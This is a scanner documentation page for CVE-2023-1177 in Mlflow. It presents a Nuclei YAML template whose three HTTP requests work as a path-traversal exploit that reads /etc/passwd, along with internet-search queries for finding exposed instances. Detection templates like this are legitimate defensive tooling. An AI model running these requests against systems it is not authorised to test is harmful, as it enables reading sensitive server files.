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Mlflow <2.2.1 - Local File Inclusion

ID: CVE-2023-1177

Severity: critical

Author: iamnoooob,pdresearch

Tags: cve2023,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects

Description

Section titled “Description”

Mlflow before 2.2.1 is susceptible to local file inclusion due to path traversal \..\filename in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2023-1177


info:
  name: Mlflow <2.2.1 - Local File Inclusion
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    Mlflow before 2.2.1 is susceptible to local file inclusion due to path traversal \..\filename in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.2.1 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
    - https://github.com/mlflow/mlflow/commit/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1177
    - https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1177
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1177
    cwe-id: CWE-29,CWE-22
    epss-score: 0.03032
    epss-percentile: 0.9095
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve2023,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects


http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8


        {"name":"{{randstr}}"}
      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8


        {"name":"{{randstr}}","source":"file:///etc/"}
      - |
        GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '"version": "([0-9.]+)",'
        internal: true
        part: body
# digest: 490a00463044022038b6306bcb18d15b2784a8e9057d6e08d30f01319305ddfdaf3a817ca9a63c380220191bf68a68b6223ebaf40064e67cd63b4b984921b434d0b06a22b72723b6c14d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1177.yaml"

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